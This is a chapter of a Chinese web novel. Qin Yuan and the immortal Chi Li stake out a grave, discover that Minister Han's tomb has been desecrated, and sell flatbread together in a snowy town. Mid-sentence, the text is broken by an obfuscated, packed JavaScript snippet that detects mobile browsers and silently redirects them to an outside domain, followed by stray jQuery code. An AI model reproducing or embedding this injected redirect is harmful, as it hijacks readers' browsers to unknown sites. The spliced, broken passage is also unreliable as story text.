二人到山中时,一眼就扫到了眼前有座坟墓,一下就将目光锁定在了面前的坟茔。
它看起来还算整齐,不知道上一次来祭奠是多久之前,坟前还摆着些水果,果品因为天气原因没有被冻坏。这么看来,韩侍郎的仇家还没有开始行动。
“看来我们运气还不错。”秦苑看着整整那坟头说道,“要是运气再不错点的话,说不定今晚就能蹲到韩侍卫的仇家。”螭离点了点头。
秦苑道:“先躲起来吧,我们也不知道他们什么时候才会来。”她环视一周,发现附近有个灌木丛倒是挺适合隐匿身形的。她带着螭离一起隐到了灌木丛中,虽然它的树叶比较稀疏,但是毕竟是在晚上光线不好的时候,如果不是仔细看还是很难发现他们的。
守株待兔了一会,秦苑就冻的发颤,这可真不是一个好差事。
虽然她穿的很厚,但毕竟还是与雪地直接接触,冷意还是渐渐涌了上来,秦苑因为寒冷将双手踹在了怀里,身体不知不觉靠向身旁火炉一般的人。面对贴在自己身上的秦苑,螭离也没有要躲闪的意思,他应该也是觉得冷吧。
就这样靠着他取了一会暖,秦苑逐渐感觉不那么冷了,但是等了许久,还是没有任何动静,如此安逸,她不得不起了些疑心。正巧此时,远处传来稀稀疏疏的踏雪声还有一些说不上来的声音,因为距离有些远,除了有声音之外,再听不出其他信息了。在不知道远处具体发生了什么的情况下,她也不好擅自行动,毕竟他们二人深夜出现在别人坟头这件事就已经够诡异了。
要是被其他过路之人发现他们在这鬼鬼祟祟的,那还真是跳进黄河也洗不清。
大约又过了一会,动静就彻底消失了,万籁俱寂,天地又重归一片宁静。她又蹲了一会,渐渐感觉有些不对劲。秦苑忽然想到了什么事,一蹦三尺高,飞也似的蹿出了这个灌木丛。
见她如此匆忙地离开,螭离来不及问她为什么,只得跟了上去。秦苑走至那块墓碑前,将上面的雪擦去之后,露出了墓主的名字,她见到后懊恼地地扶了扶额。见状,螭离也立刻懂了——这根本不是韩侍郎的坟。
他们蹲错坟了!
白天韩江确实和他们说过她爹的坟就在这附近,但是这附近并不只有韩侍郎一处坟。是他们先入为主先看到的这个坟便以为此地只有韩侍郎的坟。刚才远处的那些动静,莫不就是他的仇家去他的坟墓处发泄了?
后知后觉的二人又跑到刚才声音发出的地方,只见那果然有一处坟,且这个坟的周围一片狼藉。墓碑别人推翻在地,插在雪地中,秦苑走上前去捡起来看了看姓名后又扔回了原地,果然这片坟才是韩侍郎的。
不知道有多大的仇,韩侍郎坟头处的这些泥土都被他们挖开了,本来白净的雪上沾上了新翻的泥土,黑色的新泥淅淅沥沥地洒在白雪地和他的墓碑上,看起来极具嘲讽性,要是韩侍郎本人看到了,怕是得气活。
现在距离刚才动静发生的时间已久,他们就算现在以最快的速度下山也找不到那些人了。可惜,山中大雪已经将原本的痕迹全都覆盖,就算对面行事粗蛮,这雪一覆,什么线索都没了。
看来只能无功而返了,秦苑不想再在这个鬼地方多呆一刻,她道:“走吧,回去。”
螭离有些踌躇,似乎觉得就这么走了有些不甘心,问道:“为何不把这坟头整理一下,这样就不用等到韩江下次祭拜韩侍卫了。”
秦苑知道这样肯定不行,但她没有明说,而是开玩笑道:“这多忌讳啊,反正我不干,你要干就你自己去。”
本是一句玩笑话,没想到螭离听完还真就准备将那些打乱的东西给摆正扶好,秦苑见状急忙上前阻止道:“你没听韩江说吗,她都是七天固定来一次,这期间要是其他人把他的坟给整好了,必然引起那伙人的疑心,这样无异于打草惊蛇。”螭离听完这番话,才明白了为何秦苑方才没有将韩侍郎的墓碑复归原位,而是就让它倒在雪地。
回来之时,秦苑不愿再踩着螭离,提前不知道从何处偷来了一个梯子。她先用梯子进入围墙,她又求了半天的情才让螭离同意将梯子搬走。
一天的折腾下来,秦苑已经十分困乏,就在她的打算各回各家各找各妈的时候,螭离忽然拉住她,问道:“你上次不是说要是我受伤了就替我疗伤的吗?我的手现在有些疼......”
之前好不容易转移了这个话题,螭离却在这个毫不相干的节骨眼上再次提起。算了,干脆以睡觉为由打发走他吧,秦苑看着螭离再不治疗就要愈合的伤口,心中无语,故意当着他的面连打了个哈欠。螭离看她困了,便也没再说什么,就让她先去睡了。秦苑自然而然地以为第二天他就会忘记这件事。
韩江睡得早,也起了个大早。天才刚蒙蒙亮她便在院内开始练武,那声音大到直接把秦苑从睡梦中吵醒,本想继续睡觉的她又听到窗外如雷霆般的嘈杂声,她在床上翻来覆去,实在睡不下去,才不情不愿地起了床。
与韩江打了个招呼,秦苑便把昨晚之事告诉了她。韩江告诉秦苑后天她才被母亲允许去祭拜她爹。又要等两天了。
韩江的母亲每天一大早就将她自己烧了烧饼拿到雪方镇上去卖,直到傍晚才回来。自她丈夫死后,他们家的生活条件就一落千丈,所幸他们两个吃的东西也不多,但即便如此秦苑也不愿意在她们家中白吃白住,便主动接过了卖东西的活。韩夫人执拗不下,在秦苑的一再请求下,才同意让秦苑去帮她卖烧饼。
一来为了替她们家分忧,二来是镇上人多眼杂获取信息也方便。秦苑肯定不能指望螭离干什么的,所以只打算自己出门,并不打算将此事告诉螭离。谁知她刚拿上篮子想要出门,螭离就正巧从屋内走出,问她拿着篮子是要干嘛。
秦苑道:“如你所见,我去卖烧饼啊。”
“卖烧饼?”螭离听后有些疑惑。
“对啊,不卖东西怎么赚钱吗,我们又不像你们神仙,这不是还要吃饭吗。”
看着螭离似懂非懂的样子,秦苑也不知道他到底听懂了没有,反正无论怎样她都懒得再作解释。
跟他说这么多干嘛,他又不可能帮一点忙。
半晌,螭离开口问道:“要去多久?”
“去去就回了。”以为他只是随口问的,秦苑也就随口一答搪塞一下想要尽快摆脱他。
没想到螭离对这个回答并不满意,又继续追问。“去去就回是多久?”他已经下了台阶,走到了距离秦苑只有几步不到的地方。
“你知道这么多干什么,傍晚就回了。”秦苑转念一想,觉得是螭离觉得自己会因为雪方镇的差事太苦太累而趁机跑路,为了让他安心,她又保证道:“你放心吧,虽然帮人家看坟这种差事又苦又累,但我又不会因此突然逃跑,这地方除了雪还是雪,我身上又没有几个银两,我要是真的跑了,指不定就被冻死了。”
“我也去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962697|177714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”螭离道。
跟他说了这么多,他还是不愿意相信自己。秦苑试想了一下螭离一脸苦大仇深卖烧饼的样子,不禁怀疑就他摆着臭脸一副要撵人走的样子真的有人愿意从他那买烧饼吗?秦苑正要开口拒绝,手上忽然一轻,螭离已经将她手中装着烧饼的篮子抢了过去。
不得不说,他还真是实打实的行动派......
虽然秦苑很不想承认,但原来他冷着脸真的能把烧饼卖出去!
螭离周围围了一群妇女,雪方镇的年轻女子极少,她们大多都已上了年纪,满脸和蔼的笑容站在他身旁,有的为了让他早点卖完早点休息,一口气买了七八个烧饼。如此下来,篮子很快就要见底了。
照这样效率,早在太阳落山前他们就能卖完回去了。
“女子是更爱吃烧饼吗?”螭离见买烧饼的都是些妇人,不禁起了这个疑惑。秦苑不知该怎么和他解释,只好笑了笑说大概是吧。
只可惜那些妇人不爱和秦苑讲话,只是自顾自地和她们的小姐妹聊天。秦苑本想向她们问几句话的,实在融不进去也就放弃了这个念头。
妇人们聊着聊着便一起抱团离开了,秦苑猜测她们是回去做午饭了。这时来了一个壮汉,一脸沧桑,手上长满了疮,身上满是霜雪,看起来就像个阅历丰富的人。秦苑借机问了他一些有关那座庙的事情。
只是这个壮汉话题十分容易跑偏,本来几句话就能讲完的事情,他非要讲一会便神游到自己当年如何如何英勇的事迹上,为了附和他,秦苑还得时不时哈哈大笑表示自己听的认真。一阵溜须拍马把大爷哄得高兴了,他才肯吝啬地吐出几字关于那座庙的事情。
令秦苑疑惑的是,螭离平常不屑与人讲话,尤其是这种平平无奇的凡人,他几乎是不肯余尊降贵去跟他们说些有的没的。可是就在今天秦苑和这壮汉聊天之时,螭离总是有一搭没一搭地插上一两句话,尤其是在秦苑溜须拍马之时。
可螭离越是插话,那壮汉就讲的越来越起劲。到最后几乎演变成他们二人你来我往的争吵,秦苑生怕他们二人就地打起来,为了息事宁人,只好免费送了一个烧饼给那大汉,让他先离开。那大汉拿了烧饼也就识相地退一步走人了,这事也就这样翻篇了。
但好像也没完全翻篇。自从那壮汉走后,一整个下午螭离都没有与秦苑说过一句话,而且秦苑还发现他的脸好像比上午更加臭了,对于那些来买烧饼的人,他几乎是把烧饼甩在人家身上的,收钱时也是一副客人欠了他八百十万的表情。
收摊之时,他更是一言不发拿起空了的篮子就往韩家走,他的步子迈的极大极快,秦苑正常走路根本追不上,只好一路小跑在后面追他。
螭离回到韩家后将担子一撂,径直回到屋里,从此就再也没有出来过了。秦苑不知道他犯什么毛病,也没有理会他。她自去找韩江说了点话后,便也独自回了房。
晚上,就在秦苑要睡觉之际,门突然被人敲响。
这个时辰来找她必定是韩夫人或者韩江出了什么急事,她二话不说翻身下床将门打开,看清门外站着的人后,她略微有些惊讶。
他不是从下午开始就没有和她讲过一句话吗,半夜突然来找她又是何意啊?
他的表情很微妙,浓浓的忧愁之间又夹杂了点淡淡的哀怨,他立在门口,语气有些生硬地说道:“不是你说的要为我疗伤的吗?我的手......几天了都还没好。”